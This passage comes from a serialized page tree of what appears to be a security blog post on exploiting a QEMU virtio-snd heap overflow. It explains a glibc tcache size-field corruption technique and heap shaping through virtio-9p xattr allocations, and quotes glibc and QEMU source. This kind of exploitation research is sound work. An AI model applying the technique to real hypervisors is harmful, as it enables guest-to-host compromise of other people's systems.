USE_TCACHE\n",{"type":25,"tag":201,"props":128470,"children":128471},{"class":203,"line":563},[128472,128476,128480,128485,128489,128493,128498,128502,128507],{"type":25,"tag":201,"props":128473,"children":128474},{"style":230},[128475],{"type":31,"value":233},{"type":25,"tag":201,"props":128477,"children":128478},{"style":220},[128479],{"type":31,"value":238},{"type":25,"tag":201,"props":128481,"children":128482},{"style":214},[128483],{"type":31,"value":128484},"__glibc_likely",{"type":25,"tag":201,"props":128486,"children":128487},{"style":220},[128488],{"type":31,"value":128155},{"type":25,"tag":201,"props":128490,"children":128491},{"style":261},[128492],{"type":31,"value":1298},{"type":25,"tag":201,"props":128494,"children":128495},{"style":246},[128496],{"type":31,"value":128497}," mp_",{"type":25,"tag":201,"props":128499,"children":128500},{"style":220},[128501],{"type":31,"value":80},{"type":25,"tag":201,"props":128503,"children":128504},{"style":246},[128505],{"type":31,"value":128506},"tcache_max_bytes",{"type":25,"tag":201,"props":128508,"children":128509},{"style":220},[128510],{"type":31,"value":1086},{"type":25,"tag":201,"props":128512,"children":128513},{"class":203,"line":572},[128514],{"type":25,"tag":201,"props":128515,"children":128516},{"style":220},[128517],{"type":31,"value":30670},{"type":25,"tag":201,"props":128519,"children":128520},{"class":203,"line":590},[128521],{"type":25,"tag":201,"props":128522,"children":128523},{"style":220},[128524],{"type":31,"value":128525},"      [...]\n",{"type":25,"tag":201,"props":128527,"children":128528},{"class":203,"line":608},[128529],{"type":25,"tag":201,"props":128530,"children":128531},{"emptyLinePlaceholder":17},[128532],{"type":31,"value":496},{"type":25,"tag":201,"props":128534,"children":128535},{"class":203,"line":617},[128536,128540,128545],{"type":25,"tag":201,"props":128537,"children":128538},{"style":230},[128539],{"type":31,"value":40427},{"type":25,"tag":201,"props":128541,"children":128542},{"style":214},[128543],{"type":31,"value":128544}," tcache_put",{"type":25,"tag":201,"props":128546,"children":128547},{"style":220},[128548],{"type":31,"value":128549}," (p, tc_idx);\n",{"type":25,"tag":201,"props":128551,"children":128552},{"class":203,"line":625},[128553],{"type":25,"tag":201,"props":128554,"children":128555},{"style":220},[128556],{"type":31,"value":4861},{"type":25,"tag":34,"props":128558,"children":128559},{},[128560,128562,128567],{"type":31,"value":128561},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":25,"tag":115,"props":128563,"children":128565},{"className":128564},[],[128566],{"type":31,"value":125344},{"type":31,"value":128568}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":25,"tag":34,"props":128570,"children":128571},{},[128572,128574,128580,128581,128586],{"type":31,"value":128573},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":25,"tag":115,"props":128575,"children":128577},{"className":128576},[],[128578],{"type":31,"value":128579},"check_inuse_chunk",{"type":31,"value":238},{"type":25,"tag":115,"props":128582,"children":128584},{"className":128583},[],[128585],{"type":31,"value":125472},{"type":31,"value":25431},{"type":25,"tag":191,"props":128588,"children":128590},{"code":128589,"language":4652,"meta":7,"className":18010,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[128591],{"type":25,"tag":115,"props":128592,"children":128593},{"__ignoreMap":7},[128594,128601,128628,128635,128642,128649,128668,128675,128694,128701,128728,128751,128758,128784,128791,128802,128859],{"type":25,"tag":201,"props":128595,"children":128596},{"class":203,"line":204},[128597],{"type":25,"tag":201,"props":128598,"children":128599},{"style":208},[128600],{"type":31,"value":128295},{"type":25,"tag":201,"props":128602,"children":128603},{"class":203,"line":226},[128604,128608,128612,128616,128620,128624],{"type":25,"tag":201,"props":128605,"children":128606},{"style":214},[128607],{"type":31,"value":127561},{"type":25,"tag":201,"props":128609,"children":128610},{"style":220},[128611],{"type":31,"value":238},{"type":25,"tag":201,"props":128613,"children":128614},{"style":208},[128615],{"type":31,"value":52705},{"type":25,"tag":201,"props":128617,"children":128618},{"style":261},[128619],{"type":31,"value":11319},{"type":25,"tag":201,"props":128621,"children":128622},{"style":246},[128623],{"type":31,"value":41735},{"type":25,"tag":201,"props":128625,"children":128626},{"style":220},[128627],{"type":31,"value":4666},{"type":25,"tag":201,"props":128629,"children":128630},{"class":203,"line":278},[128631],{"type":25,"tag":201,"props":128632,"children":128633},{"style":220},[128634],{"type":31,"value":1822},{"type":25,"tag":201,"props":128636,"children":128637},{"class":203,"line":311},[128638],{"type":25,"tag":201,"props":128639,"children":128640},{"style":220},[128641],{"type":31,"value":127604},{"type":25,"tag":201,"props":128643,"children":128644},{"class":203,"line":330},[128645],{"type":25,"tag":201,"props":128646,"children":128647},{"emptyLinePlaceholder":17},[128648],{"type":31,"value":496},{"type":25,"tag":201,"props":128650,"children":128651},{"class":203,"line":397},[128652,128656,128660,128664],{"type":25,"tag":201,"props":128653,"children":128654},{"style":220},[128655],{"type":31,"value":127619},{"type":25,"tag":201,"props":128657,"children":128658},{"style":261},[128659],{"type":31,"value":1383},{"type":25,"tag":201,"props":128661,"children":128662},{"style":214},[128663],{"type":31,"value":127628},{"type":25,"tag":201,"props":128665,"children":128666},{"style":220},[128667],{"type":31,"value":127633},{"type":25,"tag":201,"props":128669,"children":128670},{"class":203,"line":437},[128671],{"type":25,"tag":201,"props":128672,"children":128673},{"emptyLinePlaceholder":17},[128674],{"type":31,"value":496},{"type":25,"tag":201,"props":128676,"children":128677},{"class":203,"line":464},[128678,128682,128686,128690],{"type":25,"tag":201,"props":128679,"children":128680},{"style":220},[128681],{"type":31,"value":128377},{"type":25,"tag":201,"props":128683,"children":128684},{"style":261},[128685],{"type":31,"value":1383},{"type":25,"tag":201,"props":128687,"children":128688},{"style":214},[128689],{"type":31,"value":127955},{"type":25,"tag":201,"props":128691,"children":128692},{"style":220},[128693],{"type":31,"value":127674},{"type":25,"tag":201,"props":128695,"children":128696},{"class":203,"line":490},[128697],{"type":25,"tag":201,"props":128698,"children":128699},{"emptyLinePlaceholder":17},[128700],{"type":31,"value":496},{"type":25,"tag":201,"props":128702,"children":128703},{"class":203,"line":499},[128704,128708,128712,128716,128720,128724],{"type":25,"tag":201,"props":128705,"children":128706},{"style":230},[128707],{"type":31,"value":233},{"type":25,"tag":201,"props":128709,"children":128710},{"style":220},[128711],{"type":31,"value":238},{"type":25,"tag":201,"props":128713,"children":128714},{"style":214},[128715],{"type":31,"value":128150},{"type":25,"tag":201,"props":128717,"children":128718},{"style":220},[128719],{"type":31,"value":238},{"type":25,"tag":201,"props":128721,"children":128722},{"style":214},[128723],{"type":31,"value":128084},{"type":25,"tag":201,"props":128725,"children":128726},{"style":220},[128727],{"type":31,"value":128424},{"type":25,"tag":201,"props":128729,"children":128730},{"class":203,"line":522},[128731,128735,128739,128743,128747],{"type":25,"tag":201,"props":128732,"children":128733},{"style":230},[128734],{"type":31,"value":18486},{"type":25,"tag":201,"props":128736,"children":128737},{"style":214},[128738],{"type":31,"value":128436},{"type":25,"tag":201,"props":128740,"children":128741},{"style":220},[128742],{"type":31,"value":238},{"type":25,"tag":201,"props":128744,"children":128745},{"style":267},[128746],{"type":31,"value":128114},{"type":25,"tag":201,"props":128748,"children":128749},{"style":220},[128750],{"type":31,"value":308},{"type":25,"tag":201,"props":128752,"children":128753},{"class":203,"line":531},[128754],{"type":25,"tag":201,"props":128755,"children":128756},{"emptyLinePlaceholder":17},[128757],{"type":31,"value":496},{"type":25,"tag":201,"props":128759,"children":128760},{"class":203,"line":550},[128761,128765,128769,128774,128779],{"type":25,"tag":201,"props":128762,"children":128763},{"style":214},[128764],{"type":31,"value":128217},{"type":25,"tag":201,"props":128766,"children":128767},{"style":220},[128768],{"type":31,"value":238},{"type":25,"tag":201,"props":128770,"children":128771},{"style":214},[128772],{"type":31,"value":128773},"arena_for_chunk",{"type":25,"tag":201,"props":128775,"children":128776},{"style":220},[128777],{"type":31,"value":128778}," (p), p);",{"type":25,"tag":201,"props":128780,"children":128781},{"style":4497},[128782],{"type":31,"value":128783},"             // [1]\n",{"type":25,"tag":201,"props":128785,"children":128786},{"class":203,"line":563},[128787],{"type":25,"tag":201,"props":128788,"children":128789},{"emptyLinePlaceholder":17},[128790],{"type":31,"value":496},{"type":25,"tag":201,"props":128792,"children":128793},{"class":203,"line":572},[128794,128798],{"type":25,"tag":201,"props":128795,"children":128796},{"style":230},[128797],{"type":31,"value":128463},{"type":25,"tag":201,"props":128799,"children":128800},{"style":214},[128801],{"type":31,"value":128468},{"type":25,"tag":201,"props":128803,"children":128804},{"class":203,"line":590},[128805,128809,128813,128817,128821,128825,128829,128833,128837,128841,128846,128850,128855],{"type":25,"tag":201,"props":128806,"children":128807},{"style":230},[128808],{"type":31,"value":233},{"type":25,"tag":201,"props":128810,"children":128811},{"style":220},[128812],{"type":31,"value":238},{"type":25,"tag":201,"props":128814,"children":128815},{"style":214},[128816],{"type":31,"value":128484},{"type":25,"tag":201,"props":128818,"children":128819},{"style":220},[128820],{"type":31,"value":128155},{"type":25,"tag":201,"props":128822,"children":128823},{"style":261},[128824],{"type":31,"value":1298},{"type":25,"tag":201,"props":128826,"children":128827},{"style":246},[128828],{"type":31,"value":128497},{"type":25,"tag":201,"props":128830,"children":128831},{"style":220},[128832],{"type":31,"value":80},{"type":25,"tag":201,"props":128834,"children":128835},{"style":246},[128836],{"type":31,"value":128506},{"type":25,"tag":201,"props":128838,"children":128839},{"style":261},[128840],{"type":31,"value":15687},{"type":25,"tag":201,"props":128842,"children":128843},{"style":220},[128844],{"type":31,"value":128845}," tcache ",{"type":25,"tag":201,"props":128847,"children":128848},{"style":261},[128849],{"type":31,"value":17184},{"type":25,"tag":201,"props":128851,"children":128852},{"style":208},[128853],{"type":31,"value":128854}," NULL",{"type":25,"tag":201,"props":128856,"children":128857},{"style":220},[128858],{"type":31,"value":1086},{"type":25,"tag":201,"props":128860,"children":128861},{"class":203,"line":608},[128862],{"type":25,"tag":201,"props":128863,"children":128864},{"style":220},[128865],{"type":31,"value":128237},{"type":25,"tag":34,"props":128867,"children":128868},{},[128869,128871,128876],{"type":31,"value":128870},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":25,"tag":115,"props":128872,"children":128874},{"className":128873},[],[128875],{"type":31,"value":125344},{"type":31,"value":128877},", because on the latest 2.43 glibc they are non-existent.",{"type":25,"tag":20292,"props":128879,"children":128880},{},[],{"type":25,"tag":34,"props":128882,"children":128883},{},[128884,128886,128891,128893,128899,128901,128906,128908,128914],{"type":31,"value":128885},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":25,"tag":115,"props":128887,"children":128889},{"className":128888},[],[128890],{"type":31,"value":125344},{"type":31,"value":128892}," field was initially ",{"type":25,"tag":115,"props":128894,"children":128896},{"className":128895},[],[128897],{"type":31,"value":128898},"0x200",{"type":31,"value":128900},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":25,"tag":115,"props":128902,"children":128904},{"className":128903},[],[128905],{"type":31,"value":127521},{"type":31,"value":128907},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":25,"tag":115,"props":128909,"children":128911},{"className":128910},[],[128912],{"type":31,"value":128913},"[0x210, 0x2f0]",{"type":31,"value":128915},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":25,"tag":34,"props":128917,"children":128918},{},[128919],{"type":31,"value":128920},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":25,"tag":40,"props":128922,"children":128924},{"id":128923},"heap-spraying",[128925],{"type":31,"value":128926},"Heap Spraying",{"type":25,"tag":34,"props":128928,"children":128929},{},[128930,128932,128937],{"type":31,"value":128931},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":25,"tag":115,"props":128933,"children":128935},{"className":128934},[],[128936],{"type":31,"value":128898},{"type":31,"value":128938},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":25,"tag":34,"props":128940,"children":128941},{},[128942,128944,128949],{"type":31,"value":128943},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":25,"tag":115,"props":128945,"children":128947},{"className":128946},[],[128948],{"type":31,"value":125539},{"type":31,"value":128950}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":25,"tag":34,"props":128952,"children":128953},{},[128954],{"type":31,"value":128955},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":25,"tag":20392,"props":128957,"children":128959},{"id":128958},"virtio-9p",[128960],{"type":31,"value":128958},{"type":25,"tag":34,"props":128962,"children":128963},{},[128964,128969],{"type":25,"tag":115,"props":128965,"children":128967},{"className":128966},[],[128968],{"type":31,"value":128958},{"type":31,"value":128970}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":25,"tag":34,"props":128972,"children":128973},{},[128974,128976,128982,128984,128990,128991,128997,128999,129004],{"type":31,"value":128975},"Through a ",{"type":25,"tag":115,"props":128977,"children":128979},{"className":128978},[],[128980],{"type":31,"value":128981},"P9_TXATTRCREATE",{"type":31,"value":128983}," request, we can allocate host-side buffers for both the ",{"type":25,"tag":115,"props":128985,"children":128987},{"className":128986},[],[128988],{"type":31,"value":128989},".name",{"type":31,"value":12493},{"type":25,"tag":115,"props":128992,"children":128994},{"className":128993},[],[128995],{"type":31,"value":128996},".value",{"type":31,"value":128998}," fields, with the size of ",{"type":25,"tag":115,"props":129000,"children":129002},{"className":129001},[],[129003],{"type":31,"value":128996},{"type":31,"value":129005}," being directly controlled by the guest.",{"type":25,"tag":191,"props":129007,"children":129009},{"code":129008,"language":4652,"meta":7,"className":18010,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[129010],{"type":25,"tag":115,"props":129011,"children":129012},{"__ignoreMap":7},[129013,129055,129062,129086,129099,129110,129135,129143,129168,129185,129201,129227,129234,129255,129321,129345,129358,129365,129372,129379,129386,129406,129427,129438,129445,129452,129459,129466,129515,129571,129616],{"type":25,"tag":201,"props":129014,"children":129015},{"class":203,"line":204},[129016,129020,129024,129029,129034,129038,129042,129046,129051],{"type":25,"tag":201,"props":129017,"children":129018},{"style":208},[129019],{"type":31,"value":52122},{"type":25,"tag":201,"props":129021,"children":129022},{"style":208},[129023],{"type":31,"value":52127},{"type":25,"tag":201,"props":129025,"children":129026},{"style":220},[129027],{"type":31,"value":129028}," coroutine_fn ",{"type":25,"tag":201,"props":129030,"children":129031},{"style":214},[129032],{"type":31,"value":129033},"v9fs_xattrcreate",{"type":25,"tag":201,"props":129035,"children":129036},{"style":220},[129037],{"type":31,"value":298},{"type":25,"tag":201,"props":129039,"children":129040},{"style":208},[129041],{"type":31,"value":52705},{"type":25,"tag":201,"props":129043,"children":129044},{"style":261},[129045],{"type":31,"value":11319},{"type":25,"tag":201,"props":129047,"children":129048},{"style":246},[129049],{"type":31,"value":129050},"opaque",{"type":25,"tag":201,"props":129052,"children":129053},{"style":220},[129054],{"type":31,"value":4666},{"type":25,"tag":201,"props":129056,"children":129057},{"class":203,"line":226},[129058],{"type":25,"tag":201,"props":129059,"children":129060},{"style":220},[129061],{"type":31,"value":1822},{"type":25,"tag":201,"props":129063,"children":129064},{"class":203,"line":278},[129065,129069,129074,129078,129082],{"type":25,"tag":201,"props":129066,"children":129067},{"style":208},[129068],{"type":31,"value":20576},{"type":25,"tag":201,"props":129070,"children":129071},{"style":220},[129072],{"type":31,"value":129073}," flags, rflags ",{"type":25,"tag":201,"props":129075,"children":129076},{"style":261},[129077],{"type":31,"value":1383},{"type":25,"tag":201,"props":129079,"children":129080},{"style":426},[129081],{"type":31,"value":4554},{"type":25,"tag":201,"props":129083,"children":129084},{"style":220},[129085],{"type":31,"value":461},{"type":25,"tag":201,"props":129087,"children":129088},{"class":203,"line":311},[129089,129094],{"type":25,"tag":201,"props":129090,"children":129091},{"style":208},[129092],{"type":31,"value":129093},"    int32_t",{"type":25,"tag":201,"props":129095,"children":129096},{"style":220},[129097],{"type":31,"value":129098}," fid;\n",{"type":25,"tag":201,"props":129100,"children":129101},{"class":203,"line":330},[129102,129106],{"type":25,"tag":201,"props":129103,"children":129104},{"style":208},[129105],{"type":31,"value":56691},{"type":25,"tag":201,"props":129107,"children":129108},{"style":220},[129109],{"type":31,"value":125686},{"type":25,"tag":201,"props":129111,"children":129112},{"class":203,"line":397},[129113,129118,129123,129127,129131],{"type":25,"tag":201,"props":129114,"children":129115},{"style":208},[129116],{"type":31,"value":129117},"    ssize_t",{"type":25,"tag":201,"props":129119,"children":129120},{"style":220},[129121],{"type":31,"value":129122}," err ",{"type":25,"tag":201,"props":129124,"children":129125},{"style":261},[129126],{"type":31,"value":1383},{"type":25,"tag":201,"props":129128,"children":129129},{"style":426},[129130],{"type":31,"value":4554},{"type":25,"tag":201,"props":129132,"children":129133},{"style":220},[129134],{"type":31,"value":461},{"type":25,"tag":201,"props":129136,"children":129137},{"class":203,"line":437},[129138],{"type":25,"tag":201,"props":129139,"children":129140},{"style":220},[129141],{"type":31,"value":129142},"    V9fsString name;\n",{"type":25,"tag":201,"props":129144,"children":129145},{"class":203,"line":464},[129146,129150,129155,129159,129164],{"type":25,"tag":201,"props":129147,"children":129148},{"style":208},[129149],{"type":31,"value":18060},{"type":25,"tag":201,"props":129151,"children":129152},{"style":220},[129153],{"type":31,"value":129154}," offset ",{"type":25,"tag":201,"props":129156,"children":129157},{"style":261},[129158],{"type":31,"value":1383},{"type":25,"tag":201,"props":129160,"children":129161},{"style":426},[129162],{"type":31,"value":129163}," 7",{"type":25,"tag":201,"props":129165,"children":129166},{"style":220},[129167],{"type":31,"value":461},{"type":25,"tag":201,"props":129169,"children":129170},{"class":203,"line":490},[129171,129176,129180],{"type":25,"tag":201,"props":129172,"children":129173},{"style":220},[129174],{"type":31,"value":129175},"    V9fsFidState ",{"type":25,"tag":201,"props":129177,"children":129178},{"style":261},[129179],{"type":31,"value":6077},{"type":25,"tag":201,"props":129181,"children":129182},{"style":220},[129183],{"type":31,"value":129184},"file_fidp;\n",{"type":25,"tag":201,"props":129186,"children":129187},{"class":203,"line":499},[129188,129192,129196],{"type":25,"tag":201,"props":129189,"children":129190},{"style":220},[129191],{"type":31,"value":129175},{"type":25,"tag":201,"props":129193,"children":129194},{"style":261},[129195],{"type":31,"value":6077},{"type":25,"tag":201,"props":129197,"children":129198},{"style":220},[129199],{"type":31,"value":129200},"xattr_fidp;\n",{"type":25,"tag":201,"props":129202,"children":129203},{"class":203,"line":522},[129204,129209,129213,129218,129222],{"type":25,"tag":201,"props":129205,"children":129206},{"style":220},[129207],{"type":31,"value":129208},"    V9fsPDU ",{"type":25,"tag":201,"props":129210,"children":129211},{"style":261},[129212],{"type":31,"value":6077},{"type":25,"tag":201,"props":129214,"children":129215},{"style":220},[129216],{"type":31,"value":129217},"pdu ",{"type":25,"tag":201,"props":129219,"children":129220},{"style":261},[129221],{"type":31,"value":1383},{"type":25,"tag":201,"props":129223,"children":129224},{"style":220},[129225],{"type":31,"value":129226}," opaque;\n",{"type":25,"tag":201,"props":129228,"children":129229},{"class":203,"line":531},[129230],{"type":25,"tag":201,"props":129231,"children":129232},{"emptyLinePlaceholder":17},[129233],{"type":31,"value":496},{"type":25,"tag":201,"props":129235,"children":129236},{"class":203,"line":550},[129237,129242,129246,129250],{"type":25,"tag":201,"props":129238,"children":129239},{"style":214},[129240],{"type":31,"value":129241},"    v9fs_string_init",{"type":25,"tag":201,"props":129243,"children":129244},{"style":220},[129245],{"type":31,"value":298},{"type":25,"tag":201,"props":129247,"children":129248},{"style":261},[129249],{"type":31,"value":4615},{"type":25,"tag":201,"props":129251,"children":129252},{"style":220},[129253],{"type":31,"value":129254},"name);\n",{"type":25,"tag":201,"props":129256,"children":129257},{"class":203,"line":563},[129258,129263,129267,129272,129277,129282,129286,129290,129295,129299,129304,129308,129312,129316],{"type":25,"tag":201,"props":129259,"children":129260},{"style":220},[129261],{"type":31,"value":129262},"    err ",{"type":25,"tag":201,"props":129264,"children":129265},{"style":261},[129266],{"type":31,"value":1383},{"type":25,"tag":201,"props":129268,"children":129269},{"style":214},[129270],{"type":31,"value":129271}," pdu_unmarshal",{"type":25,"tag":201,"props":129273,"children":129274},{"style":220},[129275],{"type":31,"value":129276},"(pdu, offset, ",{"type":25,"tag":201,"props":129278,"children":129279},{"style":267},[129280],{"type":31,"value":129281},"\"dsqd\"",{"type":25,"tag":201,"props":129283,"children":129284},{"style":220},[129285],{"type":31,"value":919},{"type":25,"tag":201,"props":129287,"children":129288},{"style":261},[129289],{"type":31,"value":4615},{"type":25,"tag":201,"props":129291,"children":129292},{"style":220},[129293],{"type":31,"value":129294},"fid, ",{"type":25,"tag":201,"props":129296,"children":129297},{"style":261},[129298],{"type":31,"value":4615},{"type":25,"tag":201,"props":129300,"children":129301},{"style":220},[129302],{"type":31,"value":129303},"name, ",{"type":25,"tag":201,"props":129305,"children":129306},{"style":261},[129307],{"type":31,"value":4615},{"type":25,"tag":201,"props":129309,"children":129310},{"style":220},[129311],{"type":31,"value":128054},{"type":25,"tag":201,"props":129313,"children":129314},{"style":261},[129315],{"type":31,"value":4615},{"type":25,"tag":201,"props":129317,"children":129318},{"style":220},[129319],{"type":31,"value":129320},"flags);\n",{"type":25,"tag":201,"props":129322,"children":129323},{"class":203,"line":572},[129324,129328,129333,129337,129341],{"type":25,"tag":201,"props":129325,"children":129326},{"style":230},[129327],{"type":31,"value":13781},{"type":25,"tag":201,"props":129329,"children":129330},{"style":220},[129331],{"type":31,"value":129332}," (err ",{"type":25,"tag":201,"props":129334,"children":129335},{"style":261},[129336],{"type":31,"value":1298},{"type":25,"tag":201,"props":129338,"children":129339},{"style":426},[129340],{"type":31,"value":4554},{"type":25,"tag":201,"props":129342,"children":129343},{"style":220},[129344],{"type":31,"value":275},{"type":25,"tag":201,"props":129346,"children":129347},{"class":203,"line":590},[129348,129353],{"type":25,"tag":201,"props":129349,"children":129350},{"style":230},[129351],{"type":31,"value":129352},"        goto",{"type":25,"tag":201,"props":129354,"children":129355},{"style":220},[129356],{"type":31,"value":129357}," out_nofid;\n",{"type":25,"tag":201,"props":129359,"children":129360},{"class":203,"line":608},[129361],{"type":25,"tag":201,"props":129362,"children":129363},{"style":220},[129364],{"type":31,"value":4861},{"type":25,"tag":201,"props":129366,"children":129367},{"class":203,"line":617},[129368],{"type":25,"tag":201,"props":129369,"children":129370},{"emptyLinePlaceholder":17},[129371],{"type":31,"value":496},{"type":25,"tag":201,"props":129373,"children":129374},{"class":203,"line":625},[129375],{"type":25,"tag":201,"props":129376,"children":129377},{"style":220},[129378],{"type":31,"value":105885},{"type":25,"tag":201,"props":129380,"children":129381},{"class":203,"line":642},[129382],{"type":25,"tag":201,"props":129383,"children":129384},{"emptyLinePlaceholder":17},[129385],{"type":31,"value":496},{"type":25,"tag":201,"props":129387,"children":129388},{"class":203,"line":659},[129389,129393,129397,129401],{"type":25,"tag":201,"props":129390,"children":129391},{"style":230},[129392],{"type":31,"value":13781},{"type":25,"tag":201,"props":129394,"children":129395},{"style":220},[129396],{"type":31,"value":128155},{"type":25,"tag":201,"props":129398,"children":129399},{"style":261},[129400],{"type":31,"value":1342},{"type":25,"tag":201,"props":129402,"children":129403},{"style":220},[129404],{"type":31,"value":129405}," P9_XATTR_SIZE_MAX) {\n",{"type":25,"tag":201,"props":129407,"children":129408},{"class":203,"line":667},[129409,129414,129418,129422],{"type":25,"tag":201,"props":129410,"children":129411},{"style":220},[129412],{"type":31,"value":129413},"        err ",{"type":25,"tag":201,"props":129415,"children":129416},{"style":261},[129417],{"type":31,"value":1383},{"type":25,"tag":201,"props":129419,"children":129420},{"style":261},[129421],{"type":31,"value":52333},{"type":25,"tag":201,"props":129423,"children":129424},{"style":220},[129425],{"type":31,"value":129426},"E2BIG;\n",{"type":25,"tag":201,"props":129428,"children":129429},{"class":203,"line":676},[129430,129434],{"type":25,"tag":201,"props":129431,"children":129432},{"style":230},[129433],{"type":31,"value":129352},{"type":25,"tag":201,"props":129435,"children":129436},{"style":220},[129437],{"type":31,"value":129357},{"type":25,"tag":201,"props":129439,"children":129440},{"class":203,"line":694},[129441],{"type":25,"tag":201,"props":129442,"children":129443},{"style":220},[129444],{"type":31,"value":4861},{"type":25,"tag":201,"props":129446,"children":129447},{"class":203,"line":707},[129448],{"type":25,"tag":201,"props":129449,"children":129450},{"emptyLinePlaceholder":17},[129451],{"type":31,"value":496},{"type":25,"tag":201,"props":129453,"children":129454},{"class":203,"line":715},[129455],{"type":25,"tag":201,"props":129456,"children":129457},{"style":220},[129458],{"type":31,"value":105885},{"type":25,"tag":201,"props":129460,"children":129461},{"class":203,"line":732},[129462],{"type":25,"tag":201,"props":129463,"children":129464},{"emptyLinePlaceholder":17},[129465],{"type":31,"value":496},{"type":25,"tag":201,"props":129467,"children":129468},{"class":203,"line":749},[129469,129473,129477,129481,129486,129490,129494,129498,129503,129507,129511],{"type":25,"tag":201,"props":129470,"children":129471},{"style":214},[129472],{"type":31,"value":129241},{"type":25,"tag":201,"props":129474,"children":129475},{"style":220},[129476],{"type":31,"value":298},{"type":25,"tag":201,"props":129478,"children":129479},{"style":261},[129480],{"type":31,"value":4615},{"type":25,"tag":201,"props":129482,"children":129483},{"style":246},[129484],{"type":31,"value":129485},"xattr_fidp",{"type":25,"tag":201,"props":129487,"children":129488},{"style":220},[129489],{"type":31,"value":15259},{"type":25,"tag":201,"props":129491,"children":129492},{"style":246},[129493],{"type":31,"value":38052},{"type":25,"tag":201,"props":129495,"children":129496},{"style":220},[129497],{"type":31,"value":80},{"type":25,"tag":201,"props":129499,"children":129500},{"style":246},[129501],{"type":31,"value":129502},"xattr",{"type":25,"tag":201,"props":129504,"children":129505},{"style":220},[129506],{"type":31,"value":80},{"type":25,"tag":201,"props":129508,"children":129509},{"style":246},[129510],{"type":31,"value":49575},{"type":25,"tag":201,"props":129512,"children":129513},{"style":220},[129514],{"type":31,"value":308},{"type":25,"tag":201,"props":129516,"children":129517},{"class":203,"line":757},[129518,129523,129527,129531,129535,129539,129543,129547,129551,129555,129559,129563,129567],{"type":25,"tag":201,"props":129519,"children":129520},{"style":214},[129521],{"type":31,"value":129522},"    v9fs_string_copy",{"type":25,"tag":201,"props":129524,"children":129525},{"style":220},[129526],{"type":31,"value":298},{"type":25,"tag":201,"props":129528,"children":129529},{"style":261},[129530],{"type":31,"value":4615},{"type":25,"tag":201,"props":129532,"children":129533},{"style":246},[129534],{"type":31,"value":129485},{"type":25,"tag":201,"props":129536,"children":129537},{"style":220},[129538],{"type":31,"value":15259},{"type":25,"tag":201,"props":129540,"children":129541},{"style":246},[129542],{"type":31,"value":38052},{"type":25,"tag":201,"props":129544,"children":129545},{"style":220},[129546],{"type":31,"value":80},{"type":25,"tag":201,"props":129548,"children":129549},{"style":246},[129550],{"type":31,"value":129502},{"type":25,"tag":201,"props":129552,"children":129553},{"style":220},[129554],{"type":31,"value":80},{"type":25,"tag":201,"props":129556,"children":129557},{"style":246},[129558],{"type":31,"value":49575},{"type":25,"tag":201,"props":129560,"children":129561},{"style":220},[129562],{"type":31,"value":919},{"type":25,"tag":201,"props":129564,"children":129565},{"style":261},[129566],{"type":31,"value":4615},{"type":25,"tag":201,"props":129568,"children":129569},{"style":220},[129570],{"type":31,"value":129254},{"type":25,"tag":201,"props":129572,"children":129573},{"class":203,"line":765},[129574,129579,129583,129587,129591,129595,129599,129603,129607,129611],{"type":25,"tag":201,"props":129575,"children":129576},{"style":246},[129577],{"type":31,"value":129578},"    